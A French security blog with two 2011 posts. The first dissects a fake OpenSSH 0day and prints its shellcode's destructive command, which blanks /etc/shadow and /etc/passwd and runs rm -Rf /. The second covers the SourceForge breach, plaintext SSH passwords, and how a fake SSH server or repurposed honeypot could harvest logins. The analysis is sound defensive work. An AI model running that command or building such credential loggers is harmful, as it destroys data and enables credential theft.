mercredi 16 février 2011

This is not the SSH 0day you're looking for.


On m'a fait suivre un 0day SSH disponible sur pastebin. Je vous propose d'expliquer la réaction de rageguy.
Ce 0day est un fake (inutile de vous précipiter sur pastebin). Plusieurs points devraient mettre la puce à l'oreille.

Les dates sont sensiblement cohérentes:
ssh est sorti en version 5.7 le 23 janvier et 5.8 le 4 février suite à un problème de sécurité. Le Oday est daté du 26 janvier sur pastebin. On reste dans le plausible. (Il manque néanmoins des advisories critiques, à mon avis un véritable 0day aurait pour conséquence une déferlante de communiqués, blogs, tweet, conférences, etc...)

A part ça, rien d'autre ne permet d'imaginer que l'on est tombé par hasard sur un 0day. (on trouve beaucoup de choses sur pastebin, mais tout de même.)

Tout d'abord, la faille en elle-même. La release 5.8 corrige un problème de sécurité lié à la génération des certificats. En effet, un peu de données non randomisées peuvent être inclues dans un certificat. Le 0day sur pastebin indique lui une faille "Off by One error in auth2-pubkey.c". C'est donc surprenant. Un véritable correctif de sécurité chez OpenSSH qui ne corrige pas un exploit public (peut-on encore parler de 0day d'ailleurs?).

Ensuite le code C de l'exploit ressemble à des exploits classiques, c'est à dire qu'on voit un shellcode, deux trois fonctions C, puis l'appel à ce shellcode. Mais ce code là est curieux:

Tout d'abord, le 0day veut être root. Surprenant une fois de plus. A lire l'exploit, il est inutile d'être root pour lancer une connexion vers un serveur ssh. Puis la ligne 51 vérifie le nombre d'arguments, affiche un FAIL et lance automatiquement le shellcode, ce qui est encore plus étonnant (pourquoi le lancer si le nombre d'arguments est incorrect?), et exit systématiquement en erreur ligne 56. Dit autrement, ce code ne lancera jamais la ligne 59 qui pourrait correspondre au lancement de l'exploit.

Intéressons nous à ce shellcode:
Un hexdump met un premier doute sur celui-ci:
On lit clairement que le shadow et le passwd sont écrasés, puis que l'intégralité du disque depuis la racine est supprimé. La les doutes sont confirmés, ce n'est sûrement plus un 0day, mais un fake. gdb va terminer de nous convaincre:
En bref, on appelle 0xb, on push sur la pile /bin/sh -c (632d c-, puis 68732f => hs/ etc..) et on appelle à shellcode+86. A shellcode+29:
(gdb) x/s shellcode+29
0x80497bd : "echo \"\" > /etc/shadow ; echo \"\" > /etc/passwd ; rm -Rf /"

Et à shellcode+86:
(gdb) disass shellcode+86 shellcode+92
Dump of assembler code from 0x80497f6 to 0x80497fc:
0x080497f6 : push edi
0x080497f7 : push ebx
0x080497f8 : mov ecx,esp
0x080497fa : int 0x80
End of assembler dump.
(gdb)

Et on exécute (appel système linux int80h). Arrivé à ce point, rageguy se met à crier FUUUUUU car ses fichiers disparaissent, j'espère que ses sauvegardes sont à jour :-)

En cherchant où cet exploit a pu être utilisé, j'ai lu http://testpurposes.net/2011/02/04/fake-0day-exploit-para-openssh/ qui explique en espagnol la même chose.


Ce genre de faux exploit n'a rien de nouveau, j'ai en mémoire un faux exploit rsync qui supprimait le homedir. Il était mieux caché (un XOR afin qu'un hexdump n'affiche pas ses intentions), mais le principe est identique: un faux exploit lancé sur une mailing liste, un shellcode et l'utilisateur trop pressé de le lancer en est pour ses frais. As always: Ne récupérez pas des programmes n'importe où, ne lancez pas n'importe quoi et faites des sauvegardes.

mercredi 2 février 2011

Sourceforge updates- ssh compromis

Sourceforge a rendu disponible l'analyse de l'attaque qu'ils ont subi. Tout n'est pas encore fini, mais les grandes lignes ont été détaillées.
Il s'agit d'une attaque ciblée sur un des serveurs de leur infrastructure, ayant permis à un attaquant d'obtenir les droits root par élévation de privilèges. (Il n'est pas précisé si la porte d'entrée est celle des dragons ou non) L'attaque vient bien du service Web. Sourceforge est une plateforme ancienne de développement, le schéma de sécurité date d'une dizaine d'années (il est en train d'être revu) et à l'époque, il n'y a avait qu'une centaine d'utilisateurs, contre plusieurs millions aujourd'hui. Les données du problème ne sont bien évidemment plus les mêmes. Un hardening est en train d'être mis en place: "Because of this attack we’ll be accelerating the rollout of Secure Project Web services".

Dans les bons côtés, ils n'ont actuellement pas connaissance de modifications apportés aux sources des projets hébergés chez eux. L'attaquant a peut-être eu accès à une base de données de mot de passe utilisateurs, mais ceux-ci sont tous salés et hachés, rendant leur exploitation difficile.

Mais ils ont découvert un démon ssh modifié qui loggait les passwords des utilisateurs se connectant. Même s'ils sont relativement sûrs d'eux quant au fait que ce démon n'ait capturé aucun mot de passe, ils ont préféré réinitialiser l'ensemble des mots de passe (de plus, l'attaquant peut essayer un bruteforce des mots de passes salés/hachés récupérés).

Donc fin de l'histoire pour sourceforge, cette information est le "first round of analysis" et j'espère que nous aurons le second round. Il faut encore une fois apprécier la transparence de la plateforme qui n'essaye ni de cacher, ni de minimiser les faits, mais au contraire souhaite les expliquer le plus clairement possible.

  • Et ssh alors?
Parlons un peu de ssh. Il est mentionné que les attaquants ont utilisé un serveur ssh modifié pour qu'il logge les mots de passe. Cela peut paraître surprenant, mais ssh ne fait que suivre la RFC. SSH crée un canal de communication chiffré, et fait transiter dans ce canal chiffré le mot de passe en clair! RFC 4252, paragraphe 8:
8. Password Authentication Method: "password"
Note that the 'plaintext password' value is encoded in ISO-10646 UTF-8.
Ce qui est confirmé par
Note that even though the cleartext password is transmitted in the packet, the entire packet is encrypted by the transport layer.
Si on a une mentalité d'attaquant, on imagine immédiatement comment exploiter cette information: plaçons un faux serveur ssh et récoltons les couples login/password en clair! Bien entendu, un utilisateur pourrait être suspicieux s'il voit que la clé hôte a changé, mais la majorité des utilisateurs sont sous windows, et utilisent putty qui permet de se logger quand même en un clic malgré le changement de clé!
Dans le cas de sourceforge, la question ne se pose même pas puisque les attaquants ont pu récupérer la clé SSH hôte de la machine compromise.

  • Quelles contremesures?
Il n'est pas possible de protéger la clé hôte par un mot de passe, c'est par design une fois de plus.
Voir le man ssh-keygen:
host keys must have an empty passphrase
Ceci aurait du sens, pourtant: à chaque redémarrage de SSHD, il faudrait entrer la passphrase de la clé hôte, évitant ainsi l'utilisation d'une clé volée. On perd en automatisation de démarrage, mais on gagne un peu en sécurité.

Pour les utilisateurs, il peut sembler étonnant au premier abord d'envoyer en clair (dans le canal chiffré) le mot de passe. Un man in the middle permet donc de récupérer les credentials.
La première réflexion viendrait à conseiller un hash. Un MITM ne récupérerait donc que le hash. A première vue, c'est intéressant, mais le MITM pourrait ouvrir en parallèle une connexion vers le vrai serveur ssh et faire suivre les demandes et réponses. Le code du serveur du MITM devient donc un peu plus compliqué, mais pas impossible.
Comment alors protéger le serveur ou le client d'un MITM? Cette situation est elle donc insoluble?

Pour les cryptologues, non, il existe des solutions, ce sont les protocoles PAKE (Password-Authenticate Key Exchange (ou Key Agreement)). Un protocole PAKE comporte un échange de clé "classique" et n'a pas besoin d'être joué dans un tunnel pré-établi. Les caractéristiques sont assez "magiques" : à l'issue du protocole, le client et le serveur se sont authentifiés mutuellement, relativement à leur connaissance du mot de passe, et ont une clé secrète commune de forte entropie (qu'on peut utiliser pour chiffer symmétriquement la suite de la conversation). Néanmoins, un faux serveur ou un faux client n'apprend pas le mot de passe ni même un hash du mot de passe ou quoi que ce soit qui permette d'"essayer" des mots de passe.
Le premier est EKE ("Encrypted Key Exchange") décrit par Bellovin et Merritt en 1992 (un brevet est déposé). Le plus connu est SRP, publié par Wu en 1998. (Merci T.P. pour les infos!).
L'implémentation de SRP semble toutefois compliqué à implémenter pour un UNIX classique.

Et donc les login/mots de passe ssh continuent d'être envoyés "en clair"...

  • Mais alors, on peut faire des faux serveurs ssh facilement?
Et bien oui. Le plus connu est Kippo, que je conseille. C'est un serveur écrit en python servant de honeypot. Ce honeypot permet en plus de logger les mots de passe d'enregistrer les sessions ssh des attaquants. Certaines sessions d'apprentis pirates sont consternantes ou à mourir de rire, c'est selon :)
Kippo permet très facilement d'être détourné de son usage d'honeypot pour être utilisé comme logger. Il lui manque juste la partie connexion au serveur ssh légitime et forward de connexions. A priori Kippo ne le permet pas, mais cela m'étonnerait qu'aucun tool n'ait été codé réalisant ces actions.

En conclusion: Vérifiez toujours les clés hôtes et n'utilisez pas de mot de passe lorsque vous vous loggez en ssh, jamais. Toujours des clés de longueur suffisantes.